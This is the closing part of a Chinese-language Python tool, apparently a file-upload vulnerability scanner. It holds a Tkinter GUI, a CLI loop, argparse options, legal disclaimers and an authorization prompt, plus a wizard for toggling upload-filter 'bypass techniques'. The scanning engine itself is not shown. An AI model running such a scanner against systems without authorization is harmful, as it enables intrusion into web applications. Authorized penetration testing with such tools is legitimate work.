                elif choice == 7:
                    print(f"\n{Fore.CYAN}感谢使用，再见!{Style.RESET_ALL}")
                    break
                else:
                    print(f"{Fore.RED}无效选择，请输入 1-7{Style.RESET_ALL}")
                
            except KeyboardInterrupt:
                print(f"\n{Fore.YELLOW}程序被用户中断{Style.RESET_ALL}")
                break
            except Exception as e:
                print(f"{Fore.RED}发生错误: {str(e)}{Style.RESET_ALL}")
            
            # 询问是否继续
            if choice != 7:
                continue_choice = self.get_user_input("继续使用? (y/n)", "y", bool)
                if not continue_choice:
                    break

class GUIApp:
    """图形界面应用"""
    
    def __init__(self, root):
        self.root = root
        self.root.title("文件上传漏洞扫描器 v3.1 (增强交互性)")
        self.root.geometry("900x700")
        
        self.config = ConfigManager()
        self.logger = Logger(verbose=True)
        self.engine = UploadEngine(self.config, self.logger)
        
        self.setup_ui()
    
    def setup_ui(self):
        """设置UI"""
        # 创建主框架
        main_frame = ttk.Frame(self.root, padding="10")
        main_frame.grid(row=0, column=0, sticky=(tk.W, tk.E, tk.N, tk.S))
        
        # 配置行和列的权重
        self.root.columnconfigure(0, weight=1)
        self.root.rowconfigure(0, weight=1)
        main_frame.columnconfigure(1, weight=1)
        main_frame.rowconfigure(5, weight=1)
        
        # URL输入
        ttk.Label(main_frame, text="目标URL:").grid(row=0, column=0, sticky=tk.W, pady=5)
        self.url_var = tk.StringVar()
        url_entry = ttk.Entry(main_frame, textvariable=self.url_var, width=60)
        url_entry.grid(row=0, column=1, columnspan=2, sticky=(tk.W, tk.E), pady=5)
        
        # 选项框架
        options_frame = ttk.LabelFrame(main_frame, text="扫描选项", padding="10")
        options_frame.grid(row=1, column=0, columnspan=3, sticky=(tk.W, tk.E), pady=5)
        
        # 线程数
        ttk.Label(options_frame, text="线程数:").grid(row=0, column=0, sticky=tk.W, padx=(0, 5))
        self.threads_var = tk.IntVar(value=self.config.config['threads'])
        threads_spinbox = ttk.Spinbox(options_frame, from_=1, to=20, textvariable=self.threads_var, width=10)
        threads_spinbox.grid(row=0, column=1, sticky=tk.W, padx=(0, 20))
        
        # 超时
        ttk.Label(options_frame, text="超时(秒):").grid(row=0, column=2, sticky=tk.W, padx=(0, 5))
        self.timeout_var = tk.IntVar(value=self.config.config['timeout'])
        timeout_spinbox = ttk.Spinbox(options_frame, from_=5, to=60, textvariable=self.timeout_var, width=10)
        timeout_spinbox.grid(row=0, column=3, sticky=tk.W)
        
        # 安全模式
        self.safe_mode_var = tk.BooleanVar(value=self.config.config['safe_mode'])
        safe_check = ttk.Checkbutton(options_frame, text="安全模式", variable=self.safe_mode_var)
        safe_check.grid(row=1, column=0, sticky=tk.W, pady=(5, 0))
        
        # 自动清理
        self.auto_clean_var = tk.BooleanVar(value=self.config.config['auto_clean'])
        clean_check = ttk.Checkbutton(options_frame, text="自动清理", variable=self.auto_clean_var)
        clean_check.grid(row=1, column=1, sticky=tk.W, pady=(5, 0), padx=(0, 20))
        
        # 代理
        ttk.Label(options_frame, text="代理:").grid(row=1, column=2, sticky=tk.W, pady=(5, 0))
        self.proxy_var = tk.StringVar(value=self.config.config.get('proxy', ''))
        proxy_entry = ttk.Entry(options_frame, textvariable=self.proxy_var, width=30)
        proxy_entry.grid(row=1, column=3, sticky=tk.W, pady=(5, 0))
        
        # 按钮框架
        btn_frame = ttk.Frame(main_frame)
        btn_frame.grid(row=2, column=0, columnspan=3, pady=10)
        
        ttk.Button(btn_frame, text="开始扫描", command=self.start_scan).pack(side=tk.LEFT, padx=5)
        ttk.Button(btn_frame, text="保存配置", command=self.save_config).pack(side=tk.LEFT, padx=5)
        ttk.Button(btn_frame, text="加载配置", command=self.load_config).pack(side=tk.LEFT, padx=5)
        ttk.Button(btn_frame, text="配置向导", command=self.open_config_wizard).pack(side=tk.LEFT, padx=5)
        
        # 进度条
        self.progress_var = tk.DoubleVar()
        self.progress_bar = ttk.Progressbar(main_frame, variable=self.progress_var, maximum=100)
        self.progress_bar.grid(row=3, column=0, columnspan=3, sticky=(tk.W, tk.E), pady=10)
        
        # 日志文本框
        log_frame = ttk.LabelFrame(main_frame, text="扫描日志", padding="5")
        log_frame.grid(row=4, column=0, columnspan=3, sticky=(tk.W, tk.E, tk.N, tk.S), pady=5)
        log_frame.columnconfigure(0, weight=1)
        log_frame.rowconfigure(0, weight=1)
        
        self.log_text = tk.Text(log_frame, height=20, width=90)
        self.log_text.grid(row=0, column=0, sticky=(tk.W, tk.E, tk.N, tk.S))
        
        scrollbar = ttk.Scrollbar(log_frame, orient=tk.VERTICAL, command=self.log_text.yview)
        scrollbar.grid(row=0, column=1, sticky=(tk.N, tk.S))
        self.log_text['yscrollcommand'] = scrollbar.set
    
    def log_to_ui(self, message: str, level: str = "INFO"):
        """日志输出到UI"""
        colors = {
            "INFO": "#0000FF",
            "SUCCESS": "#008000",
            "WARNING": "#FFA500",
            "ERROR": "#FF0000",
            "VULN": "#FF00FF"
        }
        
        color = colors.get(level, "#000000")
        timestamp = datetime.now().strftime("%H:%M:%S")
        log_line = f"[{timestamp}] [{level}] {message}\n"
        
        self.log_text.tag_config(level, foreground=color)
        self.log_text.insert(tk.END, log_line, level)
        self.log_text.see(tk.END)
        self.root.update()
    
    def start_scan(self):
        """开始扫描"""
        url = self.url_var.get().strip()
        if not url:
            messagebox.showerror("错误", "请输入目标URL")
            return
        
        # 更新配置
        self.config.config['threads'] = self.threads_var.get()
        self.config.config['timeout'] = self.timeout_var.get()
        self.config.config['safe_mode'] = self.safe_mode_var.get()
        self.config.config['auto_clean'] = self.auto_clean_var.get()
        
        proxy = self.proxy_var.get().strip()
        if proxy:
            self.config.config['proxy'] = proxy
            self.engine.session.proxies = {'http': proxy, 'https': proxy}
        
        # 清空日志
        self.log_text.delete(1.0, tk.END)
        
        # 在新线程中运行扫描
        threading.Thread(target=self.run_scan, args=(url,), daemon=True).start()
    
    def run_scan(self, url: str):
        """运行扫描（后台线程）"""
        try:
            self.log_to_ui("开始扫描...", "INFO")
            result = self.engine.run_full_scan(url)
            
            # 生成报告
            ReportGenerator.generate_console_report(result)
            
            # 保存HTML报告
            filename = f"report_{int(time.time())}.html"
            ReportGenerator.generate_html_report(result, filename)
            self.log_to_ui(f"HTML报告已保存: {filename}", "SUCCESS")
            
            # 询问是否打开报告
            if messagebox.askyesno("完成", f"扫描完成，发现 {len(result['vulnerabilities'])} 个漏洞\n是否打开报告?"):
                webbrowser.open(filename)
        
        except Exception as e:
            self.log_to_ui(f"扫描出错: {str(e)}", "ERROR")
            messagebox.showerror("错误", str(e))
    
    def save_config(self):
        """保存配置"""
        self.config.config['threads'] = self.threads_var.get()
        self.config.config['timeout'] = self.timeout_var.get()
        self.config.config['safe_mode'] = self.safe_mode_var.get()
        self.config.config['auto_clean'] = self.auto_clean_var.get()
        
        proxy = self.proxy_var.get().strip()
        if proxy:
            self.config.config['proxy'] = proxy
        else:
            self.config.config['proxy'] = None
        
        self.config.save_config()
        messagebox.showinfo("成功", "配置已保存")
    
    def load_config(self):
        """加载配置"""
        self.config = ConfigManager()
        self.threads_var.set(self.config.config['threads'])
        self.timeout_var.set(self.config.config['timeout'])
        self.safe_mode_var.set(self.config.config['safe_mode'])
        self.auto_clean_var.set(self.config.config['auto_clean'])
        self.proxy_var.set(self.config.config.get('proxy', ''))
        messagebox.showinfo("成功", "配置已加载")
    
    def open_config_wizard(self):
        """打开配置向导窗口"""
        wizard = tk.Toplevel(self.root)
        wizard.title("配置向导")
        wizard.geometry("600x500")
        
        # 创建配置向导UI
        ttk.Label(wizard, text="绕过技术配置", font=("Arial", 12, "bold")).pack(pady=10)
        
        # 创建复选框框架
        check_frame = ttk.Frame(wizard)
        check_frame.pack(fill=tk.BOTH, expand=True, padx=20, pady=10)
        
        self.bypass_vars = {}
        for tech, enabled in self.config.config['bypass_techniques'].items():
            var = tk.BooleanVar(value=enabled)
            self.bypass_vars[tech] = var
            ttk.Checkbutton(check_frame, text=tech, variable=var).pack(anchor=tk.W, pady=2)
        
        # 按钮框架
        btn_frame = ttk.Frame(wizard)
        btn_frame.pack(pady=20)
        
        ttk.Button(btn_frame, text="保存", command=lambda: self.save_bypass_config(wizard)).pack(side=tk.LEFT, padx=5)
        ttk.Button(btn_frame, text="取消", command=wizard.destroy).pack(side=tk.LEFT, padx=5)
    
    def save_bypass_config(self, window):
        """保存绕过技术配置"""
        for tech, var in self.bypass_vars.items():
            self.config.config['bypass_techniques'][tech] = var.get()
        self.config.save_config()
        messagebox.showinfo("成功", "绕过技术配置已保存")
        window.destroy()

def main():
    """主函数"""
    parser = argparse.ArgumentParser(
        description='高级文件上传漏洞扫描器 (增强交互性版本)',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
使用示例:
  python3 upload_scanner.py --gui                    # 启动图形界面
  python3 upload_scanner.py --cli                    # 启动交互式CLI
  python3 upload_scanner.py -u http://target.com/upload.php  # 命令行模式
  python3 upload_scanner.py -u http://target.com/upload.php --safe --threads 10
  
注意: 此工具仅用于授权的安全测试，未经授权使用可能违法!
        """
    )
    
    parser.add_argument('--gui', action='store_true', help='启动图形界面')
    parser.add_argument('--cli', action='store_true', help='启动交互式CLI')
    parser.add_argument('-u', '--url', help='目标URL')
    parser.add_argument('--safe', action='store_true', help='安全模式')
    parser.add_argument('--threads', type=int, help='线程数')
    parser.add_argument('--proxy', help='代理地址')
    parser.add_argument('--timeout', type=int, help='超时时间')
    parser.add_argument('--config', help='配置文件路径')
    
    args = parser.parse_args()
    
    # 法律声明
    print(f"\n{Fore.YELLOW}{'='*60}")
    print("法律声明:")
    print("此工具仅用于授权的安全测试和教育目的")
    print("未经授权对他人系统进行测试可能违反法律")
    print("使用者需自行承担所有法律责任")
    print(f"{'='*60}{Style.RESET_ALL}\n")
    
    # 模式选择
    if args.gui:
        # 图形界面模式
        root = tk.Tk()
        app = GUIApp(root)
        root.mainloop()
    
    elif args.cli or not any([args.url, args.gui]):
        # 交互式CLI模式
        cli = InteractiveCLI()
        cli.run()
    
    elif args.url:
        # 命令行模式
        config = ConfigManager()
        if args.config:
            config.config_file = args.config
        
        # 应用命令行参数
        if args.safe:
            config.config['safe_mode'] = True
        if args.threads:
            config.config['threads'] = args.threads
        if args.proxy:
            config.config['proxy'] = args.proxy
        if args.timeout:
            config.config['timeout'] = args.timeout
        
        logger = Logger(verbose=True)
        engine = UploadEngine(config, logger)
        
        # 确认授权
        confirm = input("您确认已获得目标系统的测试授权吗? (输入 'I_CONFIRM' 以继续): ")
        if confirm.upper() != 'I_CONFIRM':
            print("未获得授权，程序退出")
            sys.exit(0)
        
        # 执行扫描
        result = engine.run_full_scan(args.url)
        ReportGenerator.generate_console_report(result)
        
        # 保存报告
        filename = f"report_{int(time.time())}.html"
        ReportGenerator.generate_html_report(result, filename)
        print(f"\n{Fore.GREEN}HTML报告已保存: {filename}{Style.RESET_ALL}")
    
    else:
        parser.print_help()

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{Fore.YELLOW}程序被用户中断{Style.RESET_ALL}")
        sys.exit(0)
    except Exception as e:
        print(f"\n{Fore.RED}程序异常: {str(e)}{Style.RESET_ALL}")
        sys.exit(1)